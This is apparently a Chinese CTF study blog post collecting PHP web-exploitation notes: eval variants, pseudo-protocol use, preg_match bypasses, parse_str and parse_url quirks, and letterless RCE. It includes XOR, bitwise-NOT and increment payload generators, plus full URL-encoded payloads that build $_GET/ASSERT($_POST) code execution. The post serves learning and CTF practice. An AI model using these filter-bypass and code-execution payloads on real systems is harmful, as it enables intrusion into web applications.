March 2, 2023

不要捉弄我新人同学: A

启语:算给自己看的,只能算一些干货,从刚入门到现在写了些,有时候懒没放进来,慢慢的都会放进来吧!
伪协议总结参考:

1.eval的一些小姿势?

平常我们见到的eval都是形如eval(system('ls');)这样式儿的是吧
下面介绍一些变种

1
2
3
4
5
eval(system('ls')?>)
eval(?><?php system('ls');?>)
eval(?><?php system('ls');?>;)
eval(?><?php system('ls');?><?)
eval(?><?php system('ls');?><?php;)

2.伪协议与文件包含函数的一些误区

data,input协议与Include和high_lightfile(show_source)

data协议

就实际上我是有一个误区,没错说的就是你
不要误以为data+文件包含函数就是可以执行命令(刚入门的时候写的)
实际上能执行代码完全靠的是include的函数,而highlight_file这类的就完全不行!

input协议

data与input基本一致,只不过data是以get方式向file储存代码,而input是以post方式去储存

注意:用input方法的话就不能去用hackbar的post(有小bug),得用burpsuite去传递post

换成burpsuite去传递这个参数后:
image.png

假如我们把include改成show_source或者是highlight_file的话:
image.png
可以看到就只剩下了代码,和上面运行data协议一模一样

小结

不难发现,其实data和input就是向参数中写入数据,再依赖include这一类函数去解析,最后运行代码
并不是什么直接运行代码哈哈哈哈,笑死我了为什么我之前一直认为会直接运行啊!

filter协议

filter协议用法就很熟悉,与data相反,filter是去读取文件,把文件的内容存入参数:

我们把show_source换成@file_get_contents:
image.png
可以发现什么都没有
变成echo @file_get_contents后,查看网页源代码发现:
image.png
输出了内容

小结

所谓的什么伪协议流,其实就是读取文件或者写入内容到文件,并且储存到变量里面
不要搞混了哦

3.URL编码一些总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
特殊含义                                                    十六进制

+ 表示空格(在URL中不能使用空格) %2B
空格 URL中的空格可以用+号或者编码 %20
/ 分隔目录和子目录 %2F
? 分隔实际的URL和参数 %3F
# 表示书签 %23
& URL中指定的参数间的分隔符 %26
= URL中指定的参数的值 %3D


比如:http://www.xx.com/test/?name=admin&passwd=123456 test目录下的name参数等于admin,passwd参数等于123456

http://www.xx.com/?action=i+love+you 加号代替空格
http://www.xx.com/?action=i%20love%20you 空格编码

(1)在URL中,空格和单引号都会被编码,例如访问:https://www.baidu.com/?id=1&name='xi e’&pass=”密码”
image.png
抓包是这样的,单引号,双引号、中文和空格都会被编码
image.png
(2)在我们的URL参数中有一个参数的值中包含了 & 的话,则在URL中必须将 & 给编码。例如我们的name参数的值是12&dsfa 的话,我们在URL中则必须将&给编码

https://www.baidu.com/?id=1&name=12&dsfa ,这里没将&进行编码的话,浏览器则把12&dsfa给拆开了
image.png
https://www.baidu.com/?id=1&name=12%26dsfa ,这里将 & 进行了编码,则浏览器将name的值解析为了 12&dsfa
image.png

#号的作用

代表网页中的一个位置。其右面的字符,就是该位置的标识符。比如,http://www.example.com/index.html#print就代表网页index.html的print位置。浏览器读取这个URL后,会自动将print位置滚动至可视区域。为网页位置指定标识符,有两个方法。一是使用锚点,比如,二是使用id属性,比如

4.扫盲之%0a绕过preg_match误区

今天以前,我还傻乎乎的觉得,看到了preg_match没加m,就可以换行符绕过!这不是天经地义吗!
然后到今天才知道自己的浅薄

先浅浅的举个栗子

1
2
3
4
5
6
<?php
$str=$_GET['b'];
if(preg_match('/^flag/i', $str)){
echo 'yes';
}
?>

image.png
诶?怎么回事是不是很好奇,不是说换行了就不会被匹配到吗?我想告诉你的是这是错误的想法
实际上并不是什么只会匹配第一行,这是一个错误的思想

那我们说的“换行”是什么意思呢?

1
2
3
4
5
6
<?php
$str=$_GET['b'];
if(preg_match('/^.flag/i', $str)){
echo 'yes';
}
?>

实际上意思是换行符不会被正则匹配中的”.”识别!
image.png
所以我们payload:?b=%0aflag
这个%0a不会被正则识别所以达到了绕过!
image.png
这次就没输出yes,说明正则匹配没匹配到!

那我们正则匹配里的m的意思是什么?

image.png
在这里可以看到,m是一定要搭配^或者$来使用的,也就是说有m必须要有^或者$,否则无意义

5.数组绕过preg_match

md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) = null
strpos(Array(),”abc”) = null
strlen(Array()) = null

6.误区之parse_str

parse_str的官方介绍:
image.png
函数将字符串中的变量注册,分隔符就是&和URL一模一样,那他有什么误区呢?
在做ctfshow的web134时发现了这个问题

函数的分隔符&不是你用URL传进去的,而是源代码里用URL,有点抽象我们来看个例子

1
2
3
4
5
<?php
var_dump($_SERVER['QUERY_STRING']);
parse_str($_SERVER['QUERY_STRING']);
var_dump(get_defined_vars())
?>

首先我们payload:?_POST['key1']=36d&_POST['key2']=36d
image.png
首先单引号被转成了%27(自动转),前面一切正常
注意 ‘’key1’’ => string ‘36d’ (length=3) ‘’key2’’ => string ‘36d’ (length=3)
这里他的键的名字是'key1'他把单引号也算成了名字,这时候我还很疑惑到底是怎么回事,我们平常给数组取键名都是带单引号的呀

猜想是parse_str自动把URL编码解码了:
换一个代码测试一下:

1
2
3
4
<?php
parse_str("a=1%26b=2%26c=3");
var_dump(get_defined_vars())
?>

其中%26是&
image.png
可以看到在最后这个a被注册成了一个变量,值是1&b=2&c=3
首先函数会自动解码URL编码,这一点确信了
诶?真是奇怪,不是说&是分隔符吗?是不是这么想的
实际上我们传入%26进去,函数以为我们的意思是让%26解码后作为变量的值

parse_str中&怎么当分隔符?:

1
2
3
parse_str("a=1&b=2&c=3");
var_dump(get_defined_vars())

这种情况结果为:
image.png
可以看到a,b,c均被注册,所以说&要在源代码中才可以起分隔符的作用!
我们URL去传&假如不编码会被认为要传入多个变量
假如编码也发挥不了作用
结束!

7.无字母RCE的一些思考

首先参考yu的文章:

按位异或,按位与,按位或

取反,按位,都需要PHP7环境!!!!!!(MUST)
麻,以按位疑惑为例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$myfile = fopen("text.txt", "w"); //新创建一个文件,也就是rce_or.txt,给他写的权限
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i); //ascii的前16个字符的十六进制应该是01,02,所以在前缀加‘0’
}
else{
$hex_i=dechex($i); //前16个后面的就不用加0了
}
if($j<16){
$hex_j='0'.dechex($j); //同理上方
}
else{
$hex_j=dechex($j); //同理上方
}
$preg ='/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo ""; //如果有符合条件的就筛掉,输出空格
}

else{ //可以使用的字符如下
$a='%'.$hex_i; //十六进制前加百分号就变成了URL编码格式
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b)); //urldecode函数是解URL编码,把他们变成字符串,这里是字符串进行按位或运算,按位或运算后,可以得到新的字符,如%21和%00进行按位或就变成了!,这样我们就可以使用感叹号,就类似于合成新的字符
if (ord($c)>=32&ord($c)<=126) { //ord函数是将字符变成ASCII码
$contents=$contents.$c." ".$a." ".$b."\n"; //每次到这里都写入刚刚建立的文本内
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("text.txt", "r")
while True:
t = f.readline() # 逐行读取文件 //每一次循环,指针都会指向下一行,输出下一行的字符
if t == "": # 读到空,即读完跳出循环
break
if t[0] == i: # 就比如我们这边输入的arg是system,当文本当前行第一个字母是s或者y这些字符就写入s1,s2
# print(i)
s1 += t[2:5] # 提取第一个字符串,具体可以看上面我的截图,如第一行的%00
s2 += t[6:9] # 提取第二个字符串
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")" # s1和s2进行或运算就可以合成对应的字母s,y,s,t,e,m
return (output)


param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
print(param)

首先来讲一下原理把:

1
2
3
4
5
6
7
8
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo ""; //如果有符合条件的就筛掉,输出空格
}

else{ //可以使用的字符如下
$a='%'.$hex_i; //十六进制前加百分号就变成了URL编码格式
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b)); //urldecode函数是解URL编码,把他们变成字符串,这里是字符串进行按位或运算,按位或运算后,可以得到新的字符,如%21和%00进行按位或就变成了!,这样我们就可以使用感叹号,就类似于合成新的字符

主要的PHP代码在这里,这段代码的意思是利用hex2bin来获取filter以外的字符,如空白字符,一些乱码之类的,但是这些字符都有对应的二进制数字,所以可以进行取反,异或之类的操作

举个栗子吧,以脚本生成的结果中调几个来看:
image.png
看到92行,意思就是%04|%27的结果URL解码后就是#
在本地测试一下看看:

1
2
3
4
5
<?php
echo hex2bin('04').'<br>';
echo hex2bin('27').'<br>';
echo (urldecode('%04')^urldecode('%27'));
?>

image.png
从结果来看就是那些满足filter条件的字符,不是数字也不是字母,是一些特殊符号和乱码,如果filter中过滤了特殊符号,那就修改一下脚本即可

用两个乱码合成了一个#,可以这么理解
最后再来谈谈结果的原理:
image.png
(“%0f%08%0f%09%0e%06%0f”^”%7f%60%7f%60%60%60%60”)(“%0b”^”%3a”)
就好比我们的system(‘ls),我们看看这一堆东西输入进去后为什么会变成答案?
首先URL会帮你解码一次,我感到好奇的是双引号的作用,本地测试一下

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
echo $code;
if(preg_match('/[a-z0-9]/i',$code)){
die('hacker');
}
eval($code);
?>

我们payload:?code=(“%0f%08%0f%09%0e%06%0f”^”%7f%60%7f%60%60%60%60”)(“%0b”^”%3a”);
image.png
看得到结果输出的code是一滩乱码,这是因为被URL解码过了,由于这些乱码我们都没过滤,所以可以满足条件
猜测是在eval内完成了异或的操作
本地测试一下能否进行异或操作:

1
2
3
4
5
<?php
echo urldecode("%0f%08%0f%09%0e%06%0f")^urldecode("%7f%60%7f%60%60%60%60");
echo '<br>';
echo urldecode("%0b")^urldecode("%3a");
?>

image.png
是可行的,都解出来了,这样对原理就清楚了

取反

在php内取反很方便,因为php内可以取反字符串,而在python内就显得麻烦的多,取反脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
?>

意思就是先对输入的字符串进行取反,我们payload时二次取反达到还原的目的,
了解一下取反的原理:

1
2
3
<?php
echo ~'phpinfo()';
?>

image.png
可以看到是乱码!所以可以绕过preg_match的过滤,我们把这乱码二次取反后:

1
2
3
4
5
<?php
$a=~'phpinfo();';
echo ~$a;
?>

image.png
可以还原,和上面的异或其实是一个意思

自增

参考以上文章

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$_=[].[]; //俩数组拼接强行返回ArrayArray,这里一个短杠的值也就是ArrayArray
$__=''; //两个短杠赋值为空
$_=$_[''];//从arrayarray中取首字符,即a。这里$_=$_[0]也是一样的道理,不过waf限制数字输入
$_=++$_; //b
$_=++$_; //c
$_=++$_; //d
$_=++$_; //e
$__.=$_; //E 把两个短杠赋值为E
$_=++$_; //F 一个短杠继续自增
$_=++$_; //G
$__=$_.$__; // GE 一个短杠自增变成了G,两个短杠在前面第十一行处已经赋值为E,拼接得GE
$_=++$_; //H 此处一个短杠继续自增,为H
$_=++$_; //I
$_=++$_; //J
$_=++$_; //k
$_=++$_; //L
$_=++$_; //M
$_=++$_; //N
$_=++$_; //O
$_=++$_; //P
$_=++$_; //Q
$_=++$_; //R
$_=++$_; //S
$_=++$_; //T
$__.=$_; // GET 在此处,两条短杠原是GE与一条短杠(已经自增为T),.=拼接,构成get
${'_'.$__}[_](${'_'.$__}[__]); // 进行拼接,$_GET['_']($_GET['__']);

url编码后:
%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

url编码后:
%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d%27_%27%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b

第二个payload需要PHP小于7的版本,因为在PHP7,assert不再可以被动态调用

上传文件

参考:
利用/tmp/phpxxxxxx

8.pathinfo()函数漏洞

参考如下:

image.png

1
2
3
4
5
6
7
<?php
$name = $_GET['name'];
var_dump($name);
$pathinfo_name=pathinfo($name);
var_dump($pathinfo_name);
highlight_file(__FILE__);
?>

我们传入1.php/.后,后缀名为NULL,这样可以绕过一些检测:
image.png
$pathinfo[extension]=pathfo($name,PATHINFO_EXTENSION) 获取文件后缀名时时获取的 . 后面的内容,当出现多个 . 时,结果为最后一个 . 后面的内容。所以可以利用这个特性实现对后缀名检测的绕过。如/../../../../1.php,还是会检测出php

9.LInux提权

这边儿还是自己实操为好,之前因为一道错题,全测了个遍,正好也练了会儿

SUID利用

10.SSTI大全

11.parse_url解析问题

参考:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
这里仅讨论url中不含'?'的情况

php parse_url:
host: 匹配最后一个@后面符合格式的host

libcurl:
host:匹配第一个@后面符合格式的host

如:

http://u:[email protected]:[email protected]/

php解析结果:
schema: http
host: b.com
user: u
pass: [email protected]:80
libcurl解析结果:
schema: http
host: a.com
user: u
pass: p
port: 80
后面的@b.com/会被忽略掉

杂项


Md5

0e1137126905 0e291659922323405260514745084877 php magic hash
0e215962017 0e291242476940776845150308577824 php magic hash
240610708 0e462097431906509019562988736854 php magic hash
QNKCDZO 0e830400451993494058024219903391 php magic hash
129581926211651571912466741651878684928 06da5430449f8f6f23dfc1276f722738 raw : ?T0D??o#??’or’8
.N=?

编码


一些转换网址


一些教程网址

https://www.ddosi.org/shell

原型链污染:

绕过wakeup new:
https://bugs.php.net/bug.php?id=81151
WAF绕过:


获得IP的一些请求头

12.大佬博客

https://drun1baby.github.io/
https://5ime.cn/h1ve.html

https://blog.zgsec.cn/index.php/category/ctf/
https://github.com/SecWiki/sec-chart

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#入门#新人同学